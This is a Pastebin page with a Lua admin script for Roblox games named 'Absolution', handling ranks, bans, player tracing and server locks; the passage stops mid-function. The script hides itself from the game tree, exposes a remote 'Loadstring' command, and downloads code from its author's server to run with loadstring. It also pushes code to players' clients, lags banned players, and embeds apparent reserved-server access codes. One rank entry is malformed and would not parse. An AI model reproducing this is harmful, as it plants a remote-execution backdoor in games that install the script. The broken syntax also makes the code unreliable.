Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- ABSOLUTION ADMINISTRATION
- Consumer Edition
- Command Syntax: Command/Arguments -Flags
- Example: kill/Darkus-r
- ---------------------------
- @Author: Darkus_Theory
- @Name: Absolution
- @Date: 2/19/16
- @Engine: Lua 5.1
- --]]
- wait(0.003)
- local start_time = tick()
- --local Absolution;
- Absolution = setmetatable({
- Services=setmetatable({Game=game},{
- __index=function(self,index)
- index=tostring(index);
- return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
- end;
- __newindex=function()
- error('You cannot add services manually');
- end;
- __call=function(self,index)
- return self[index];
- end;
- __metatable='Protected';
- });
- Ranks = {
- [9] "SpinnerChris" = "localhost";
- [8] = "ROOT";
- [7] = "Developer";
- [6] = "Administrator";
- [5] = "Debugger";
- [4] = "Moderator";
- [3] = "Overseer";
- [2] = "Pseudo";
- [1] = "Beta";
- [0.5] = "Trusted";
- [0] = "Player";
- [-0.5] = "Blacklist";
- [-1] = "Banished";
- [-2] = "Superbanned";
- };
- Settings = {
- ["Rotation_Style"] = 'Normal';
- ["Logo"] = '414448010',
- ['BallScale'] = 10,
- };
- TraceLogs = {};
- Nicknames = {};
- PluginManager = {};
- IRCDebug = {};
- Errors = {};
- Functions = {};
- Handler = {};
- Players = {};
- Ranked = {};
- Tempbans = {};
- HandlingBans = {};
- Music = {};
- Connections = {Killing = {};};
- pseudoRank = {};
- Logs = {};
- Tablets = {};
- Commands = {};
- Ignoring = {};
- TriggerWords = {'ban','kick','lag','s3x','d33k','fweld','aerx','rosploit','jeerve'};
- uniqueKey = string.sub(tostring(game:service'HttpService':GenerateGUID(true)), 2, 8);
- lastPing = tick();
- AgeRestriction = true;
- Booted = false;
- TPReserves = {["21053279"]="3AoF5NoEvR9rQ6-Q4dS8W9knYQPRYXZGrLvf5Yr_B4JfP0EBAAAAAA2",["437965235"]="uldxE2h5nxghfpyJmiPH2UboRU_cKbhArOHRgzH9JMuz0RoaAAAAAA2"};
- Constants = {
- ShutdownTime = 30;
- TabletRotation = 0;
- MaxResults = 15;
- };
- GroupData = {
- GroupID = 971711;
- GroupRanks = {
- [0] = {247,0};
- [1] = {246};
- [2] = {251};
- [3] = {248};
- [4] = {250};
- [5] = {249};
- [6] = {252};
- [7] = {253};
- [8] = {254};
- [9] = {255};
- };
- };
- HttpConstants = {
- IRC = {["Name"] = "#Absolution",["whiteList"] = {'jassm11'}};
- IP = "website here";
- API = "http://roblox-proxy.cf";
- UpdateURL = "titanpad link here";
- Incoming = "/roblox/Absolution/OutgoingConnections.php";
- Outgoing = "/roblox/Absolution/IncomingConnections.php";
- ConsoleTXT = "/RemoteInstructions.txt";
- ConsolePHP = "/RemoteInstructions.php";
- Remote = "/roblox/Absolution/remoteExecute.lua";
- Tempbans = "/roblox/Absolution/Tempban.php";
- Modlogs = "/roblox/Absolution/AppendLog.php";
- AuthURI = "/roblox/Absolution/AddAuthentication.php";
- pircm = "";
- Upload = "/roblox/upload.php";
- PreviousSync = 'nil';
- PreviousWSync = 'nil';
- pythonConsole = {
- IP = "http://absolution-server.xyz:443";
- ChatServ = "/chat/<%s> %s %s";
- Authentication = "/auth=%s";
- Commands = "/%s";
- previousCommand = "";
- };
- APIs = {
- Music = "/roblox/API/SearchMusic.php";
- Username = "/roblox/API/Usernames.php";
- NewServer = "/roblox/API/NewServer.php";
- Misc = "/roblox/API/index.php";
- };
- HttpEnabled = (function() local Enabled, Error = ypcall(function() game:GetService("HttpService"):GetAsync("http://www.google.com/") end) if Enabled then return true else return false end end)(),
- pluginLink = "http://pastebin.com/raw/FRbyPAdZ";
- };
- Fake = {
- _G = {},
- shared = {},
- Functions = {},
- },
- Locks = {
- LocalScripts = false,
- Scripts = false,
- Server = {["Locked"] = false;["rankNumber"] = 0;["Duration"] = 120;["Server"] = false;["Local"] = false;},
- },
- PrivateServer = {
- Type = 'Kick';
- Enabled = false;
- };
- Storage = {
- DS = game:GetService("DataStoreService"):GetDataStore("\\:Absolution");
- };
- ScriptType = (game:FindService("NetworkServer") and "Server" or "Studio"),
- injectBlacklist = {{["ID"] = 65135680, ["REASON"] = 'Requested by Client.'}}
- },{__call=function(self,index)return rawget(self,index) end;});
- coroutine.wrap(function()
- local to_be_pushed=true;
- local push;push=function(table,_index,_call,_new,___index)
- if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
- local fake={
- __index=_index or(function(self,index)
- return rawget(self,index);
- end);
- __call=_call or(function(self,index)
- return rawget(self,index);
- end);
- __newindex=_new or(function(self,index,value)
- if(type(value)=='table')then
- push(value);
- end;
- rawset(self,index,value);
- end);
- __metatable='Protected';
- };
- return setmetatable(table,fake);
- end;
- end;
- if(not to_be_pushed)then return end;
- for _,v in next,Absolution do
- if(type(v)=='table')then
- push(v,nil,nil,nil,_);
- end;
- end;
- setmetatable(Absolution,{
- __call=function(self,index)
- return rawget(self,index);
- end;
- --__index=function(self,index)
- -- return rawget(self,index);
- --end;
- __newindex=function(self,index,value)
- if(type(value)=='table')then
- push(value,nil,nil,nil,index);
- end;
- rawset(self,index,value);
- end;
- __metatable='Protected';
- });
- end)();
- script.Name = 'Absolution - Server'
- coroutine.yield()
- script.Parent = nil
- ----------------------------------------------- START SCRIPT --------------------------------------------------------
- Absolution.Logs.append = function(self, tbl)
- self[#self+1] = tbl
- end
- Absolution.Functions.Print = function(message, typ)
- if not message then return false,'No message was sent.' end
- if not typ then typ = 1 end
- if typ == 1 then
- Absolution.Logs:append({Type='Print',Message=message})
- print(message)
- elseif typ == 2 then
- Absolution.Logs:append({Type='Warning',Message=message})
- warn(message)
- elseif typ == 3 then
- Absolution.Logs:append({Type='Error',Message=message})
- pcall(function() error(message) end)
- end
- end
- -- In-Script locking --
- Absolution.Functions.Lock = {
- Table = function(Table)
- setmetatable(Table, {
- __metatable = "[ Sandbox ]:\nLocked",
- })
- for Index, Value in pairs(Table) do
- if type(Index) == "table" then Absolution.Functions.Lock.Table(Index) end
- if type(Value) == "table" then Absolution.Functions.Lock.Table(Value) end
- end
- end
- }
- Absolution.Functions.Simulate = { -- Things that are simulated
- Table = function(Table)
- local SimulatedTable = {}
- for Index, Value in pairs(Table) do
- SimulatedTable[Index] = Value
- end
- return SimulatedTable
- end,
- }
- -- PseudoScripting Functions --
- Absolution.Functions.createLocalScript = function(source,parent,name,hasval)
- if not script:findFirstChild(source,true) then return end
- local s = script:findFirstChild(source,true):Clone()
- s.Parent = parent
- s.Name = (name and name or s.Name)
- if hasval then
- local val = s:children()[1]
- val.Value = hasval
- end
- wait()
- s.Disabled = false
- Absolution.Logs:append({'Script',Absolution.Functions.GetTime(tick()),source,tostring(parent.Parent)..'.'..tostring(parent)});
- end
- Absolution.Functions.createScript = function(source, parent, name)
- local s = script["ScriptBase"]:Clone()
- s.Parent = parent
- s:FindFirstChild("Val").Value = source
- s.Name = (name and name or s.Name)
- wait()
- s.Disabled = false
- end
- Absolution.Functions.NLS = function(source, parent, name)
- local Ran,Error = ypcall(function()
- local function url_encode(form)
- local result = {}
- for key, value in pairs(form) do
- table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
- end
- return table.concat(result, "&")
- end
- local pt = {SRC=source}
- local body = url_encode(pt)
- local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Upload, body, Enum.HttpContentType.ApplicationUrlEncoded)
- wait(.5)
- Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'Made a new localscript'});
- local newScript = require(tonumber(s))
- newScript.Parent = parent
- newScript.Name = (name and name or newScript.Name)
- wait()
- newScript.Disabled = false
- return newScript
- end)
- if not Ran then warn('[Absolution] - '..Error) end
- end
- -- Handler --
- Absolution.Handler.AuthorizeRemote = function(self,remote)
- local initial = Instance.new("StringValue")
- initial.Name = "AUTHORIZED"
- initial.Value = "336c063bbccc80ebfa20df4b04b407cb61fb1c4301094183744bedb3b2e5e375429523190ecd4c44492dbf86e84346c62c94"
- initial.Parent = remote
- end
- Absolution.Handler.ConnectServer = function(self, server)
- server.OnServerInvoke = function(Player, Command, Key, etc)
- if not Absolution then return end
- if Key~= Absolution.uniqueKey then return false,"Access Denied" end
- if Command=='Message' then
- Absolution.Functions.Print(tostring(Player)..': '..etc[1])
- elseif Command=='Aerx' then
- Absolution.Ranked[Player.Name].Description = 'using aerx (autoban)'
- Absolution.Ranked[Player.Name].Rank = -1
- Absolution.Functions.Out('Admins', Player.Name..' was using aerx.', 5)
- elseif Command=='RX6' then
- Absolution.Ranked[Player.Name].Description = 'using RX6 (autoban)'
- Absolution.Ranked[Player.Name].Rank = -1
- Absolution.Functions.Out('Admins', Player.Name..' was using RX6.', 5)
- elseif Command=='SEX' then
- Absolution.Ranked[Player.Name].Description = 'using sexgui (autoban)'
- Absolution.Ranked[Player.Name].Rank = -1
- Absolution.Functions.Out('Admins', Player.Name..' was using sexgui.', 5)
- elseif Command=='Tablets' then
- local Data=etc;
- local Func=Absolution.Tablets[Data[1]].Func
- local r,e = ypcall(Func,Player)
- print(Data[1],tostring(Func))
- return r,e
- elseif Command=='Handshake' then
- if Absolution.Ranked[Player.Name].Rank >=4 then Absolution.Handler:sendPacket(Player, 'togglenil') end
- return {game.JobId, Absolution.Ranked, Absolution.uniqueKey}
- elseif Command=='Command' then
- Absolution.Functions.onChatted(Player, etc[1])
- if etc[1]:find'trace/' then return end
- if not Absolution.TraceLogs[Player.Name] then
- Absolution.TraceLogs[Player.Name] = {}
- end
- local parseddata = etc[1]
- if etc[1]:find('/http') and game.PlaceId~=21053279 then
- local link = etc[1]:sub(etc[1]:find('/http')+1)
- wait(1)
- local gas = Absolution.Services.HttpService:GetAsync(link)
- if gas then
- parseddata = gas
- else
- parseddata = etc[1]
- end
- end
- Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
- elseif Command=='Loadstring' then
- loadstring(etc[1])()
- elseif Command=='Console' then
- if etc[1]:find'trace/' then return end
- if not Absolution.TraceLogs[Player.Name] then
- Absolution.TraceLogs[Player.Name] = {}
- end
- local parseddata = etc[1]
- if etc[1]:find('/http') and game.PlaceId~=21053279 then
- local link = etc[1]:sub(etc[1]:find('/http')+1)
- wait(1)
- local gas = Absolution.Services.HttpService:GetAsync(link)
- if gas then
- parseddata = gas
- else
- parseddata = etc[1]
- end
- end
- local shortenedparseddata = parseddata
- for nildata, player in next, Absolution.Functions:getALLPlayers() do
- if parseddata:lower():find(player.Name:lower()) then
- if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(player.Name:lower())-10,parseddata:lower():find(player.Name:lower())+45) end
- Absolution.Functions.Out(player, 'Your name was detected from player '..Player.Name, 2)
- Absolution.Functions.Out(player, 'Trigger String: '..shortenedparseddata:gsub("\n",""), 2)
- if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
- elseif Absolution.Functions:findRank(player) >= 4 and Absolution.Functions.Sanitize(parseddata) and Absolution.Functions:findRank(Player) < 6 then
- local word = Absolution.Functions.Sanitize(parseddata)
- if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(word:lower())-10,parseddata:lower():find(word:lower())+45) end
- Absolution.Functions.Out(player, 'Trigger word ('..word..') detected from player '..Player.Name..'!', 3)
- Absolution.Functions.Out(player, 'String: '..shortenedparseddata:gsub("\n",""), 3)
- if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
- end
- end
- Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
- else
- end
- end
- server.Changed:connect(function(change)
- local c = change:lower()
- if c=='name' then
- server.Name = 'AbsolutionHandler'
- elseif c=='parent' then
- wait()
- server.Parent = Absolution.Services.ReplicatedStorage
- else
- server:Destroy()
- Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)
- end
- end)
- self["SERVER"] = server
- end
- Absolution.Handler.CreateHandler = function(self, Name, Place)
- if Place:FindFirstChild(Name) then Place:FindFirstChild(Name):Destroy'' end
- local pseudoRemote = Absolution.Functions:Create('RemoteFunction',{Name=Name})
- Absolution.Handler:AuthorizeRemote(pseudoRemote)
- wait()
- pseudoRemote.Parent = Place
- Absolution.Handler:ConnectServer(pseudoRemote)
- end
- --Absolution.Handler.oldPacket('tusKOr661','CORE.Functions:executeClient("rejoin")')
- Absolution.Handler.oldPacket = function(Player, String)
- local Str = Instance.new('StringValue')
- Str.Name = tostring(Player)..' RUN '..Absolution.uniqueKey
- Str.Value = String
- wait()
- Str.Parent = Absolution.Services.Lighting
- Absolution.Services.Debris:AddItem(Str, 5)
- end
- Absolution.Handler.sendPacket = function(self, Player, Command, etc)
- local etc = (type(etc)=='table' and etc or {})
- if type(Player) == 'userdata' then
- local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, Command, Absolution.uniqueKey, etc)
- return receive,data
- elseif type(Player) == 'string' then
- local Plr = Absolution.Services.Players:FindFirstChild(Player)
- if not Plr then return "Player was not found" end
- local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, Command, Absolution.uniqueKey, etc)
- return receive,data
- else
- return 'INVALID PLAYER TYPE!'
- end
- end
- Absolution.Handler.clientLS = function(self, String, Player)
- if type(Player) == 'userdata' then
- local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
- return receive,data
- elseif type(Player) == 'string' then
- local Plr = Absolution.Services.Players:FindFirstChild(Player)
- if not Plr then return "Player was not found" end
- local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
- return receive,data
- elseif not Player then
- Absolution.Handler:fireAllClients('loadstring', {["str"]=(String and String or [[print"No string"]])})
- else
- return 'INVALID PLAYER TYPE!'
- end
- end
- Absolution.Handler.fireAllClients = function(self, Command, etc)
- for i,v in pairs(Absolution.Functions.getALLPlayers()) do
- local receive,data = Absolution.Handler:sendPacket(v, Command, (etc and etc or nil))
- return receive,data
- end
- end
- Absolution.Handler.sendChat = function(Message, Player, over, Color, isDiscord)
- if Message:lower():find('http') then Message = 'http://google.com' end
- Message = Message:gsub("","")
- if over and Message:find(over) then
- local rem = string.sub(Message,1,Message:find(":")-1)
- if rem then
- string.gsub(Message,rem,"")
- end
- end
- if Player then
- if Message:lower():find(tostring(Player):lower()) then Color = 'Red' else Color = 'White' end
- Absolution.Handler:sendPacket(Player, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]='Purple'})
- Absolution.Functions:sbChat(Message, Player, over)
- else
- for i,v in pairs(Absolution.Functions.getALLPlayers()) do
- if Message:lower():find(tostring(v):lower()) then Color = 'Red' else Color = 'White' end
- Absolution.Handler:sendPacket(v, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]=Color})
- end
- for q,e in pairs(Absolution.Services.Players:getPlayers()) do
- Absolution.Functions:sbChat(Message, e, (over and over or nil))
- end
- end
- end
- Absolution.Handler.Ping = function(self)
- for i,v in pairs(Absolution.Functions.getALLPlayers()) do
- Ran,Error = ypcall(function()
- if Absolution.Players[v.Name] then
- local r,d = Absolution.Handler:sendPacket(v, 'Ping')
- if r == true and d:lower() == 'pong' then
- Absolution.Players[v.Name].lastPing = Absolution.Functions.GetTime(tick())
- end
- end
- end)
- if not Ran then error(Error) end
- end
- return false
- end
- --[[Tracer Cusmpilation]]--
- Absolution.Functions.TraceSearch = function(keyword, isplr)
- local results = {}
- for player, logdata in next, Absolution.TraceLogs do
- if not isplr then
- for index, logtable in pairs(logdata) do
- local logDATA = logtable.logData
- if logDATA:lower():find(keyword:lower()) then
- if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
- results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
- end
- end
- elseif isplr and player==keyword then
- for index, logtable in pairs(logdata) do
- local logDATA = logtable.logData
- if logDATA:lower():find(keyword:lower()) then
- if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
- results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
- end
- end
- end
- end
- return results
- end
- --[[
- for i,v in next,Absolution.Functions.TraceSearch('asd') do
- print(v.plr,v.data)
- end
- --]]
- --[[ Main Functions ]]--
- -- Shutdown --
- Absolution.Functions.Shutdown = function(ranby,Reason)
- Absolution.Functions.Announce('Shutdown commenced by: '..(ranby and ranby or 'Absolution'))
- wait()
- Absolution.DCTAPI.sendMessage(('Shutdown commenced by: '..(ranby and ranby or 'Absolution')))
- while wait() do
- for i,v in pairs(Absolution.Functions.getALLPlayers()) do
- v:Kick((ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') and (ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') or 'Shutdown by: '..(ranby and ranby or 'Absolution'))
- end
- end
- end
- -- getALLPlayers --
- Absolution.Functions.getALLPlayers = function()
- local ALLPlayers = {}
- for i,v in pairs(Absolution.Services.NetworkServer:GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- table.insert(ALLPlayers, v:GetPlayer())
- end
- end)
- end
- return ALLPlayers
- end
- Absolution.SandboxSource = "print'asd'"
- -- Create --
- Absolution.Functions.Create = function(self, ClassName, Properties)
- local Instance = Instance.new(ClassName)
- local Properties = Properties or {}
- local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"}
- local CheckConnection = function(Index)
- local Index = tostring(Index)
- for _, Connect in pairs(ConnectionIndexes) do
- if Index:lower() == Connect:lower() then
- return true
- end
- end
- return false
- end
- for Index, Value in pairs(Properties) do
- if not CheckConnection(Index) then
- Instance[Index] = Value
- else
- Instance[Index]:connect(Value)
- end
- end
- return Instance
- end
- -- ServerLocking --
- Absolution.Locks.Server.enabledServerLock = function(self)
- if self.Locked then return end
- local t = self.Duration
- local r = self.rankNumber
- Absolution.Functions.Announce("Server Lock Enabled")
- Absolution.Locks.Server.Locked = true
- Instance.new("Hint", Absolution.Services.Workspace).Name = 'absolutionSht'
- for i = t,0,-1 do
- local ABM = workspace:findFirstChild('absolutionSht')
- if not ABM then
- ABM = Instance.new("Hint", Absolution.Services.Workspace)
- ABM.Name = 'absolutionSht'
- end
- ABM.Text = '[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!'
- for i,v in pairs(Absolution.Services.Players:players()) do
- local pRank = Absolution.Functions.getRankedTable(tostring(v)) and Absolution.Functions:findRank(tostring(v)) or 0
- if pRank < r then
- v:Kick('[Absolution]: Server is locked for all ranks below '..r..' for '..i..' more seconds!')
- end
- end
- if self.Locked==false then ABM:remove() break end
- wait(1)
- end
- Absolution.Functions.Announce("Server Lock Disabled")
- Absolution.Locks.Server.Locked = false
- Absolution.Functions.Out('Admins', "Server Lock Disabled", 5)
- end
- -- Rotation! --
- Absolution.Constants.TabletRotation = 0
- Absolution.Functions.UpdateTablets = function(self)
- Absolution.Constants.TabletRotation = Absolution.Constants.TabletRotation==360 and 0 or Absolution.Constants.TabletRotation*(.1/100)
- for _, Player in pairs(Absolution.Functions:getALLPlayers()) do
- local PlrTabs = {}
- for i,v in pairs(Absolution.Tablets) do
- if v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlrTabs, v)
- end
- end
- local radiusdata = Absolution.Functions.getRankedTable(Player.Name).Distance ~= nil and Absolution.Functions.getRankedTable(Player.Name).Distance or 15
- local pos = nil
- pcall(function()
- if Player.Character.Parent == Absolution.Services.Workspace then
- pos = Player.Character.Torso.CFrame
- end
- end)
- pcall(function()
- if Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey) then
- pos = Absolution.Services.Workspace:FindFirstChild(Player.Name..' Probe '..Absolution.uniqueKey).CFrame
- end
- end)
- local radius = radiusdata + (#PlrTabs * 0.5)
- if not pos then pos = CFrame.new(0,15,0) end
- local LastKnownPosition = pos
- for Index = 1, #PlrTabs do
- local Tablet = PlrTabs[Index].Tab
- local Dec = Tablet:findFirstChild('aDD', true)
- if Tablet and Tablet.Parent then
- local newCFrame = Absolution.Functions.CLerp(Tablet.CFrame,CFrame.new(LastKnownPosition.p)
- * CFrame.Angles(0, math.rad((360/#PlrTabs*Index+(tick())*60/(#PlrTabs ~= 0 and 10 or 1))%360), 0)
- * CFrame.new(0, 0, ((radius*2)+#PlrTabs)*.35+Tablet.Size.X), .2)
- Tablet.CFrame = CFrame.new(newCFrame.p,pos.p)
- if Dec and Dec.Parent then Dec.CFrame = CFrame.new(newCFrame.p,pos.p) end
- -- * CFrame.Angles(math.rad(math.sin(tick()*4)*20)/Index,0,math.rad(math.sin(tick()*4)*20))
- else
- table.remove(PlrTabs, Index)
- end
- end
- end
- end
- -- reloadLogoGui --
- Absolution.Functions.reloadLogoGui = function(v)
- local PG;
- local ScreenGui;
- local ImageButton;
- PG=v:findFirstChild'PlayerGui'
- if PG==nil then
- v:LoadCharacter()
- PG=v:waitForChild'PlayerGui'
- end
- if PG:findFirstChild'Info'==nil then
- local db = tick()+6
- ScreenGui = Instance.new("ScreenGui", PG)
- ScreenGui.Name='Info'
- ImageButton = Instance.new("ImageButton", ScreenGui)
- ImageButton.Position = UDim2.new(.94, 0, .92, 0)
- ImageButton.Size = UDim2.new(.06, 12, .08, 0)
- ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
- ImageButton.BorderColor3 = Color3.new(0, 0, 0)
- ImageButton.BackgroundTransparency = 1
- ImageButton.Visible = true
- ImageButton.Image = 'rbxassetid://'..Absolution.Settings.Logo
- ImageButton.Draggable=false
- ImageButton.MouseButton1Down:connect(function()
- if tick()-db >= 2 then
- Absolution.Handler:sendPacket(player, 'TerminalOn')
- Absolution.Functions.showData(v)
- db = tick()
- end
- end)
- end
- end
- -- handleBan --
- Absolution.Functions.handleBan = function(Player)
- if Absolution.HandlingBans[Player] then return end
- Absolution.HandlingBans[Player] = true
- local playerData = Absolution.Functions.getRankedTable(tostring(Player))
- local playerName = tostring(Player)
- if playerData then
- if Absolution.Functions:findRank(Player) == -2 then
- coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'rekt',{["REASON"] = playerData.Description}) end)()
- wait()
- if Player then Player:Kick('You are banned from joining for '..playerData.Description) end
- Absolution.Functions.Announce(playerName.." was lagged due to a banishment. | REASON: "..playerData.Description)
- --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
- elseif Absolution.Functions:findRank(Player) == -1 then
- coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
- wait()
- if Player then Player:Kick('You were banned for '..playerData.Description) end
- Absolution.Functions.Announce(playerName.." was kicked due to a banishment. | REASON: "..playerData.Description)
- --Absolution.Functions.sbOutput(playerName.." was not allowed to join. | REASON: "..playerData.Description, 'Error')
- elseif Absolution.Functions:findRank(Player) == -0.5 and not Absolution.Tempbans[tostring(Player.userId)] then
- Absolution.Functions.Out('Admins', 'A blacklisted user ('..playerName..') has joined the server.', 3)
- end
- if Absolution.Tempbans[tostring(Player.userId)] then
- local tban_data = Absolution.Tempbans[tostring(Player.userId)]
- local timeremaining = ((tban_data.timeEnd)-tick())
- if timeremaining >= 0 then
- coroutine.wrap(function() Absolution.Handler:sendPacket(Player, 'disconnect',{["REASON"] = playerData.Description}) end)()
- wait()
- if Player then Player:Kick("You were temp-banned for "..playerData.Description..". | TIME REMAINING: "..Absolution.Functions.GetTime(timeremaining)) end
- Absolution.Functions.Announce(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description)
- --Absolution.Functions.sbOutput(playerName.." is banned for "..Absolution.Functions.GetTime(timeremaining).." | REASON: "..playerData.Description, 'Error')
- return
- else
- playerData.Rank = 0
- end
- end
- end
- wait(3)
- Absolution.HandlingBans[Player] = false
- end
- Absolution.Functions.checkPrivateBase = function()
- local function makeBase()
- local Base = Instance.new("Part")
- Base.BrickColor = BrickColor.new("Dark green")
- Base.CFrame = CFrame.new(5000, 200, 5000)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- --Base.FormFactor = "Custom"
- Base.Material = 'Grass'
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(2044, 0, 2044)
- Base.Archivable = true
- Base.Material = "Grass"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "AbsolutionBase"
- Base.TopSurface = "Smooth"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Absolution.Services.Workspace.Terrain
- local v = Instance.new('Model', Base)
- v.Name = 'Verified'
- coroutine.wrap(function()
- while Base do
- wait()
- for i,v in pairs(Absolution.Services.Players:GetPlayers()) do
- if v.Character then
- if v.Character:findFirstChild'Torso' then
- local pos = (Base.Position-v.Character:findFirstChild'Torso'.Position).magnitude
- if pos < 2044 and Absolution.Ranked[v.Name].Rank < 3 then
- v:LoadCharacter()
- end
- end
- end
- end
- end
- end)()
- end
- if not game:service'Workspace'.Terrain:findFirstChild('Verified', true) then
- makeBase()
- end
- end
- -- mainLoop --
- Absolution.Functions.mainLoop = function()
- coroutine.wrap(function()
- for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
- coroutine.wrap(Absolution.Functions.reloadLogoGui)(v)
- end
- end)()
- coroutine.wrap(function()
- for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
- local cRank = Absolution.Functions.calculateRankInGroup(Player)
- if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
- end
- end)()
- coroutine.wrap(function()
- for _,Player in pairs(Absolution.Services.Players:GetPlayers()) do
- local Ran,Error = ypcall(function()
- if Absolution.Functions:findRank(Player) <= 0 then Absolution.Functions.handleBan(Player) end
- end)
- if not Ran then Absolution.Errors[#Absolution.Errors+1] = Error end
- end
- end)()
- Absolution.Functions.checkPrivateBase()
- if not Absolution.Services.ReplicatedStorage:FindFirstChild("AbsolutionHandler") then Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)end
- end
- -- Add Command --
- Absolution.Functions.Command = function(Name, Uses, Rank, Description, Flags, Function)
- if Uses == nil then return end
- if Name == nil then Name = "N/A" end
- if Rank == nil then Rank = 0 end
- if Description == nil then Description = "N/A" end
- if Flags == nil then Flags = "No Flags" end
- if Absolution.Commands[Name] then Absolution.Functions.Out('Admins','Adding new command: '..Name, 1) Absolution.Commands[Name] = nil end
- Absolution.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
- end
- --[[ HTTP SYNCING ]]--
- -- syncRanksIn --
- Absolution.Functions.syncRanksIn = function()
- ypcall(function()
- Absolution.Functions.getTempBans()
- local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Incoming)--, true)
- local ran,erro = ypcall(function() loadstring(hsync)() end)
- if not ran then warn(erro) end
- end)
- end
- -- syncRanksOut --
- Absolution.Functions.syncRanksOut = function()
- ypcall(function()
- local function url_encode(form)
- local result = {}
- for key, value in pairs(form) do
- table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
- end
- return table.concat(result, "&")
- end
- for i,v in pairs(Absolution.Ranked) do
- if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
- local pt = {plr = i, uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
- table.foreach(pt, tostring)
- local body = url_encode(pt)
- local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
- wait(.5)
- end
- Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRanksOut() fires.'});
- end)
- end
- -- syncRankOut --
- Absolution.Functions.syncRankOut = function(plr)
- ypcall(function()
- local function url_encode(form)
- local result = {}
- for key, value in pairs(form) do
- table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
- end
- return table.concat(result, "&")
- end
- local v = Absolution.Functions.getRankedTable(tostring(plr))
- if not Absolution.Ranks[v.Rank] then v.Rank = 0 end
- local pt = {plr = tostring(plr), uid = tostring(v.UserID), rnk = tostring(v.Rank), col = tostring(v.Color), dis = tostring(v.Distance), desc = tostring(v.Description), tablet = tostring(v.TabletType)}
- table.foreach(pt, tostring)
- local body = url_encode(pt)
- local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Outgoing, body, Enum.HttpContentType.ApplicationUrlEncoded)
- wait(.5)
- Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'syncRankOut() fires.'});
- end)
- end
- -- Splitting Hotness ~Vaeby --
- Absolution.Functions.split = function(str, sSeparator, nMax, bRegexp)
- assert(sSeparator ~= '')
- assert(nMax == nil or nMax >= 1)
